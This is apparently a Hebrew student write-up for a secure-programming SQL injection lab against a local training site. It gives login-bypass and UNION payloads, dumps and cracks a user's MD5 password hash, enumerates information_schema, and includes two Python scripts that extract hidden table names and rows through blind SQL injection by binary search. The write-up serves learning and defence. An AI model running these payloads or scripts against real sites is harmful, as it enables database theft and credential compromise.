

תכנות בטוח ש.ב. 1 - SQLi

סעיף ראשון

בהתחלה ניסיתי להזריק קוד SQL אל שדה הססמה אבל זה לא כל כך עבד ועל כן עברתי לנסות לתקוף את השדה של שם המשתמש. ניסיתי כל מיני שילובים עד שהתחילו להופיע שגיאות שאמרו שיש בעיה בתחביר של הפקודות שלי שקשורה לסוגריים, ואז הבנתי שהתנאי נמצא בתוך סוגריים ועל כן יש לאזן אותן. בסוף הגעתי אל ה-payload הבא:

```
--('alice)
```

שעבד.

סעיף שני

תחילה, מצאתי את כמות העמודות באמצעות שאילתות מהצורה:

```
-- ORDER BY 1 --
```

לאחר שגיליתי כי כמות העמודות היא בדיוק 5, הבחנתי שלא כל העמודות חוזרות אל המשתמש. הרצתי את השאילתה הבאה:

```
-- UNION SELECT 1, 2, 3, 4, 5 --
```

וגיליתי כי למעשה, רק עמודות 2, 3, 4, ו-5 חוזרות אל המשתמש, ועל כן, ארצה להשתמש בשתיים מהן על מנת לקרוא את שם המשתמש, ה-Host ואת גרסת השרת. הרצתי את השאילתה:

```
-- UNION SELECT 1, user(), version(), 4, 5 --
```

וקיבלתי את הערכים:

```
weak@172.18.0.3, 8.0.23
```

כאשר שם המשתמש הוא כמובן weak, ה-Host הוא 172.18.0.3 וגרסת השרת היא 8.0.23.

סעיף שלישי

צריך להרחיב את השאילתה מהסעיף הקודם, כאשר הפעם במקום להשתמש ב-user(), וב-host(), נחפש בטבלת המשתמשים משתמש בשם וולדמורט. התוצאה היא השאילתה הבאה:

```
-- UNION SELECT 1, username, password, 4, 5 FROM users WHERE username = 'voldemort' --
```

שתחזיר בין השאר את הססמה המוצפנת:

```
856936b417f82c06139c74fa73b1abbe
```

הכנסתי את הססמה המוצפנת אל תוך md5 decoder וקיבלתי את הערך:
horcrux

סעיף רביעי

אני לא חושב שישנה טבלה כזו. מצאתי את שמות כל הטבלאות באמצעות:

```
-- UNION SELECT 1, table_name, 3, 4, 5 FROM information_schema.tables --
```

ולא מצאתי את הטבלה sqlitraining. הטבלאות שמצאתי הן:

```
CHARACTER_SETS  
CHECK_CONSTRAINTS  
COLLATIONS  
COLLATION_CHARACTER_SET_APPLICABILITY
```

COLUMNS
COLUMNS_EXTENSIONS
COLUMN_STATISTICS
EVENTS
FILES
INNODB_DATAFILES
INNODB_FOREIGN
INNODB_FOREIGN_COLS
INNODB_FIELDS
INNODB_TABLESPACES_BRIEF
KEY_COLUMN_USAGE
KEYWORDS
PARAMETERS
PARTITIONS
REFERENTIAL_CONSTRAINTS
RESOURCE_GROUPS
ROUTINES
SCHEMATA
SCHEMATA_EXTENSIONS
ST_SPATIAL_REFERENCE_SYSTEMS
ST_UNITS_OF_MEASURE
ST_GEOMETRY_COLUMNS
STATISTICS
TABLE_CONSTRAINTS
TABLE_CONSTRAINTS_EXTENSIONS
TABLES
TABLES_EXTENSIONS
TABLESPACES_EXTENSIONS
TRIGGERS
VIEW_ROUTINE_USAGE
VIEW_TABLE_USAGE
VIEWS
COLUMN_PRIVILEGES
ENGINES
OPTIMIZER_TRACE
PLUGINS
PROCESSLIST
PROFILING
SCHEMA_PRIVILEGES
TABLESPACES
TABLE_PRIVILEGES
USER_PRIVILEGES
ENABLED_ROLES
APPLICABLE_ROLES

ADMINISTRABLE_ROLE_AUTHORIZATIONS
ROLE_COLUMN_GRANTS
ROLE_ROUTINE_GRANTS
ROLE_TABLE_GRANTS
USER_ATTRIBUTES
INNODB_SESSION_TEMP_TABLESPACES
INNODB_VIRTUAL
INNODB_BUFFER_POOL_STATS
INNODB_BUFFER_PAGE
INNODB_CMPMEM_RESET
INNODB_CMPMEM
INNODB_TRX
INNODB_CMP_PER_INDEX_RESET
INNODB_CMP_RESET
INNODB_FT_DEFAULT_STOPWORD
INNODB_CMP
INNODB_TABLES
INNODB_FT_BEING_DELETED
INNODB_METRICS
INNODB_TEMP_TABLE_INFO
INNODB_FT_DELETED
INNODB_CACHED_INDEXES
INNODB_COLUMNS
INNODB_FT_INDEX_TABLE
INNODB_TABLESTATS
INNODB_BUFFER_PAGE_LRU
INNODB_CMP_PER_INDEX
INNODB_FT_CONFIG
INNODB_FT_INDEX_CACHE
INNODB_INDEXES
INNODB_TABLESPACES
products
users
cyber_tableAAAAAAAAAAAAA

ואכן הטבלה sqlitraining לא קיימת. בשלב זה ראוי שנבחין מהו מסד הנתונים הנוכחי, והאם אולי ישנם מסדי נתונים אחרים בהם הטבלה עשויה להימצא, על כן הרצתי את הפקודה:

```
' UNION SELECT 1, database(), 3, 4, 5 --
```

ונגלה כי הדאטאבייס הנוכחי הוא sqlitraining, ועל כן כנראה שהכוונה הייתה למצוא את כל הטבלאות בתוך מסד הנתונים ולא למצוא את כל העמודות בתוך הטבלה. סטודנטים אחרים היו סבורים שהיינו אמורים למצוא את עמודות הטבלה:

```
cyber_tableAAAAAAAAAAAAA
```

ועל כן הרצתי את הפקודה:

```
' UNION SELECT 1, column_name, 3, 4, 5 FROM information_schema.columns WHERE
table_name = 'cyber_tableAAAAAAAAAAAAA' --
```

וקיבלתי את העמודות:

cyberId, cyberHour

סעיף חמישי

שמתי לב שכאשר התחברתי עם alice, או עם voldemort, קיבלתי דף עם מידע אודותם, וכאשר שלחתי בקשה עבור שם המשתמש המומצא asdfghj123, קיבלתי בחזרה דף שכל השדות בו היו ריקים. לאחר מכן, התחלתי לשלוח שאילתות, ובהתאם לתוצאה, האם קיבלתי מידע בחזרה או לא קיבלתי מידע בחזרה, קבעתי האם מדובר באמת או בשקר. השאילתה הראשונה שהרצתי, הייתה על מנת להבין האם secure הוא מסד נתונים, או טבלה:

```
alice' AND (SELECT count(*) FROM information_schema.tables WHERE table_name = 'secure') > 0 --
```

כשאני אומר שאילתה, הכוונה היא כמובן לשם משתמש ששלחתי אל האתר בדף של Blind SQLi, וזאת רק לאחר שעשיתי לה URL-Encoding. לא קיבלתי תוצאות, ועל כן הנחתי כי מדובר במסד נתונים ולא בטבלה. ויידאתי את זה באמצעות השאילתה:

```
alice' AND (SELECT count(*) FROM information_schema.tables WHERE table_schema = 'secure') > 0 --
```

שדווקא כן החזירה תשובה. ועל כן מדובר במסד נתונים. בשלב זה, רציתי לגלות כמה טבלאות יש במסד הנתונים ועל כן התחלתי להריץ שאילתות שבודקות האם מספר הטבלאות שווה למשהו, בתקווה שברגע שפרטי של אליס יופיעו, אדע כי מדובר במספר הטבלאות האמיתי. התחלתי עם המספר 1, והתמזל מזלי וכבר עבורו קיבלתי תשובה עם פרטיה של אליס:

```
alice' AND (SELECT count(table_name) FROM information_schema.tables WHERE table_schema = 'secure') = 1 --
```

כעת, מתבקש למצוא את שם מסד הנתונים. כיוון שאינני חשוף לפלט של השאילתות שלי, אלא רק לתגובה בינארית שאומרת האם בוצע או לא בוצע שינוי, אנסה לברר תחילה מהו אורך המחרוזת. לשם כך, אשתמש בשאילתות מהצורה הבאה ואבצע חיפוש בינארי:

```
alice' AND LENGTH((SELECT table_name FROM information_schema.tables WHERE table_schema = 'secure' LIMIT 0,1)) > 5 --
```

לאחר מספר חזרות, מצאתי כי אורך המחרוזת המייצגת את שם הטבלה הוא בדיוק 32 תווים. אלו הם יותר מדי תווים בשביל למצוא אותם ידנית, אז כתבתי סקריפט קטן שמוצא את שם הטבלה תו אחר תו. נתחיל בתו הראשון, ונבדוק כל פעם האם המחרוזת שאנחנו מכניסים היא תחילית של שם הטבלה. למעשה נבצע חיפוש בינארי על ערכי ה-ASCII האפשריים עבור כל תו, ובכך נחסוך בקשות מיותרות. לאחר שנמצא את התו במיקום כלשהו, נעבור לתו הבא אחריו, ועל כן בדיקת התחילית תהא שקולה לבדיקת התו הנוכחי לבדו. הסקריפט שכתבתי הוא הבא:

```
import requests
```

```
url = "http://localhost:8000/blindsqli.php"
alice_description = "In wonderland right now :O"
session_cookies = { 'PHPSESSID': 'e1c5b47701a9753783f56f9c770a7e0a' }
table_name = ""
print("Looking for possible table names...")
```

```
# Loop through all 32 character positions
for position in range(1, 33):
    low = 32 # Lowest printable ASCII character (space)
    high = 126 # Highest printable ASCII character (~)
```

```

while low <= high:
    mid = (low + high) // 2

    payload = f"alice' AND ASCII(SUBSTRING((SELECT table_name FROM
information_schema.tables WHERE table_schema = 'secure' LIMIT 0,1), {position}, 1)) > {mid}
-- "

    params = { 'user': payload }
    response = requests.get(url, params=params, cookies=session_cookies)

    if alice_description in response.text:
        low = mid + 1
    else:
        high = mid - 1

    table_name += chr(low)
    print(f"Current prefix: {table_name}")

print(f"Final table name: {table_name}")

```

והוא החזיר את שם הטבלה הבא:

789b05678e7f955d2cf125b0c05616c9

טוב שלא ניסיתי למצוא אותו ידנית....

ניסיתי להריץ כמה decoder-ים במטרה לגלות האם מדובר בטקסט מוצפן, ולא מצאתי, אבל זה לא באמת משנה כי בפועל זהו בדיוק השם של הטבלה.

בשלב הנוכחי כל שנותר הוא להבין מהם וכמה הם הערכים שבטבלה. לשם כך, הרצתי את השאילתה:

alice' AND (SELECT count(*) FROM secure.`789b05678e7f955d2cf125b0c05616c9`) > 5 --

ועוד שאילתות דומות על מנת לבצע חיפוש בינארי על מספר הערכים. המספר אליו הגעתי לבסוף הוא 3. עתה, נרצה למצוא את הערכים. לשם כך, נצטרך תחילה למצוא את שמות העמודות בטבלה, ולשם כך נצטרך למצוא את מספר העמודות בטבלה. אבצע חיפוש בינארי על מספר העמודות באמצעות השאילתה הבאה:

alice' AND (SELECT count(column_name) FROM information_schema.columns WHERE table_name = '789b05678e7f955d2cf125b0c05616c9' AND table_schema = 'secure') = 1 --

גילית כי בסך הכל ישנן שתי עמודות. כעת, על מנת למצוא את שמותיהן אשתמש בדיוק באותו הסקריפט ממקודם, כאשר עתה, ניעזר ב-payload:

alice' AND ASCII(SUBSTRING((SELECT column_name FROM information_schema.columns WHERE table_name = '789b05678e7f955d2cf125b0c05616c9' LIMIT 0,1), {position}, 1)) > {mid} --

ועל כן במקום לבצע חיפוש בינארי למציאת תחיליות של שם הטבלה, נבצע חיפוש בינארי למציאת תחיליות לשם העמודה, במידת הצורך ייתכן והיה רצוי לשנות את מספר התווים שאנחנו מחפשים, אך לאחר הרצת הסקריפט ראיתי ששמות העמודות קצרים יותר. העמודה הראשונה שאת שמה מצאתי היא עמודת id, והעמודה השנייה שמצאתי היא עמודת random, כאשר מצאתי את העמודה השנייה על ידי שינוי הגדרת ה-LIMIT כך שידלג על התוצאה הראשונה. כעת, על מנת למצוא את הערכים שבטבלה פעלתי בשיטה מאוד דומה, עבור כל שורה ועמודה ביצעתי את אותו "חיפוש תחיליות" על מנת למצוא את הערך המאוחסן בה. על מנת לזרז את התהליך השתמשתי בסקריפט הבא:

```
import requests
```

```

url = "http://localhost:8000/blindsqli.php"
alice_description = "In wonderland right now :O"
session_cookies = { 'PHPSESSID': 'e1c5b47701a9753783f56f9c770a7e0a' }

print("Looking for values...\n")

for row_offset in range(3):
    print(f"Row {row_offset + 1}")

    for column in ['id', 'random']:
        extracted_value = ""

        for position in range(1, 51):
            low = 32
            high = 126

            while low <= high:
                mid = (low + high) // 2

                payload = f"alice' AND ASCII(SUBSTRING((SELECT {column} FROM
secure.`789b05678e7f955d2cf125b0c05616c9` LIMIT {row_offset},1), {position}, 1)) > {mid} -- "
                params = { 'user': payload }

                response = requests.get(url, params=params, cookies=session_cookies)

                if alice_description in response.text:
                    low = mid + 1
                else:
                    high = mid - 1

            # A NULL byte or empty space indicates that we have reached the end of the string.
            if low == 32:
                verify_payload = f"alice' AND ASCII(SUBSTRING((SELECT {column} FROM
secure.`789b05678e7f955d2cf125b0c05616c9` LIMIT {row_offset},1), {position}, 1)) = 32 -- "
                resp = requests.get(url, params={'user': verify_payload}, cookies=session_cookies)
                if alice_description not in resp.text:
                    break

            extracted_value += chr(low)

        print(f"{column}: {extracted_value}")
    print("\n")

```

וקיבלתי את התוצאות:

Row Number	id	random
I	1	5654dd565fa6588cd654e466f42718abb84e03df7ae5c02dcf
II	2	VeryRandomIndeed
III	3	This is the last row. Well done :)

סעיף שישי

עניתי על כל השאלות האלה במהלך פתרון הסעיף החמישי. במסד הנתונים "secure" ישנה טבלה אחת בלבד, ובה שתי העמודות: id, random.